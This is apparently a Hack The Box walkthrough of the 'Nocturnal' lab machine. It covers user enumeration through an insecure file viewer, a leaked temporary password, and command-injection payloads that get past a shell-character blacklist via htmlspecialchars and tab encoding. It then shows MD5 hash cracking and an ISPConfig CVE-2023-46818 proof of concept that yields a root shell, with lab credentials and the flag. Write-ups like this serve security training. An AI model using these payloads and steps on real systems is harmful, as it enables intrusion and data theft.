HTB - Nocturnal

Enumeration:

# Nmap 7.95 scan initiated Tue May 20 22:46:21 2025 as: /usr/lib/nmap/nmap -v -p - -Pn -T4 -A -oN nmaptcp nocturnal.htb
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 3.894 days (since Sat May 17 01:19:24 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   21.55 ms 10.10.14.1
2   21.61 ms nocturnal.htb (10.10.11.64)

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 20 22:46:51 2025 -- 1 IP address (1 host up) scanned in 30.29 seconds

User exploit

Looking at the nmap scan, we see port 22 (SSH) and 80 (web) open. The web port hosts the Nocturnal application, which is a platform to upload Word, Excel and PDF documents. It also advertises collaboration features and backups. We can click on the register link and create a dax account. Once logged in, we are greeted by the following interface.

We can upload a dummy PDF file and it appears in the Your Files section, with a link to download it back. When downloading the file, we can see that the URL looks like /view.php?username=dax&file=dax.pdf. Playing around with the username parameter, we can quickly see that specifying an invalid username shows User not found. at the bottom of the page, while any valid username will not. We can use this information to enumerate valid users with ffuf.

$ ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=dax.pdf" -w /opt/SecLists/Usernames/Names/names.txt -H 'Cookie: PHPSESSID=e1qupj0rrrrql65jg0tl5i0000' -fs 2985

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=dax.pdf
 :: Wordlist         : FUZZ: /opt/SecLists/Usernames/Names/names.txt
 :: Header           : Cookie: PHPSESSID=e1qupj0rrrrql65jg0tl5i0000
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 2985
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 26ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 25ms]
dax                     [Status: 200, Size: 4, Words: 1, Lines: 2, Duration: 24ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 24ms]
:: Progress: [10177/10177] :: Job [1/1] :: 1609 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

We find 3 valid users, admin, tobias and amanda. By putting amanda in the username parameter with a bogus file, we get a listing containing one file.

GET /view.php?username=amanda&file=asd.pdf HTTP/1.1
...
...
<div class="container">
  <h1>File Viewer</h1>

  <div class="error">File does not exist.</div>
  <h2>Available files for download:</h2>
  <ul>
    <li><a href="view.php?username=amanda&file=privacy.odt">privacy.odt</a></li>
  </ul>
</div>
...

We can put privacy.odt in the file parameter to recover a document that contains the following text.

Dear Amanda, Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure. The file has been created and provided by Nocturnal’s IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us. Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Yours sincerely, Nocturnal’s IT team

We can use these new credentials to login as amanda, and this time we see Go to Admin Panel at the top of the page. Clicking the link shows the following page.

If we click any of the PHP file names, its content will be displayed. At the bottom of the page, we can enter a password and press the Create Backup button to generate a password protected zip archive, along with the output of what looks awfully like an OS command.

Looking around in the PHP files, the first thing of interest we find is the path of the SQLite database in dashboard.php.

<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

$db = new SQLite3('../nocturnal_database/nocturnal_database.db');
$user_id = $_SESSION['user_id'];
$username = $_SESSION['username'];
...

Looking at the admin.php file, we can also see that the PHP code is indeed passing the password parameter to a zip command with proc_open.

...
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';

        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
...

The password is, however, first passed through the cleanEntry function.

...
function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
...

The function blocks most of the fun characters, but does a peculiar thing at the end: it encodes the payload using htmlspecialchars. This function converts special characters to HTML entities and is usually intended to prevent attacks such as XSS. An HTLM entity looks like &#039; or &apos; (depending on the configuration). What’s interesting in our case is that 3 of those characters have special meaning in bash: & sends a command to background, # is a comment and ; chains commands. Using this, we can come up with the following payload to escape the context of the zip command: dax\'whoami, which gets translated to dax\&#039;whoami (the \ is used to escape the & to avoid sending the command to background). This gives the following output.

<pre>
whoami: extra operand 'backups/backup_2025-05-23.zip'
Try 'whoami --help' for more information.
</pre>

Since the space character is blocked, we can use %09 which gets translated to a tab character once URL decoded since it can be used like a space in bash. This allows us to add a tab after our command and a # to comment out the rest of the line: dax\'whoami%09#. This gives an error in the HTML output saying that the backup has failed, but the command still runs behind the scenes. We can craft the following payload to copy the database at the root of the web application and download it through the browser: dax\'cp%09../nocturnal_database/nocturnal_database.db%0948c1fcf9-3459-4c83-a1a8-78a63d3cf5df.db%09#.

We can then open the SQLite database and extract the password hashes for all users, which are MD5. Using hashcat, we can recover the password for tobias.

$ hashcat -m 0 nocturnal.hashes rockyou.txt

These credentials allow us to log into SSH and get the user flag.

Root exploit

Looking at the open ports that are only accessible through 127.0.0.1, we see port 8080. We can forward it to our host using SSH.

$ ssh tobias@nocturnal.htb -L 8080:127.0.0.1:8080

This gives us access to an ISPConfig interface.

Googling the software, we find that the default user is admin, and using the same password as tobias allows us to log in. Looking at the source code of the HTML page, we can spot the version for the software.

<link
  rel="stylesheet"
  href="themes/default/assets/stylesheets/ispconfig.css?ver=3.2.2"
/>

This allows us to find CVE-2023-46818, an authenticated RCE vulnerability caused by the records POST parameter to /admin/language_edit.php, which is not properly sanitized. Using a PoC found on Packet Storm, we can easily get a shell, and the root flag.

$ php exploit.php http://localhost:8080/ admin slowmotionapocalypse
...
--- CVE-2023-46818.php PoC ---

[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# cat /root/root.txt
8a79296a947d7034c54094a710724158

Resources:

HyperlinkInfo
https://github.com/ffuf/ffufffuf
https://github.com/hashcat/hashcathashcat
https://www.ispconfig.org/ispconfig
https://packetstorm.news/files/id/176126ISPConfig 3.2.11 PHP Code Injection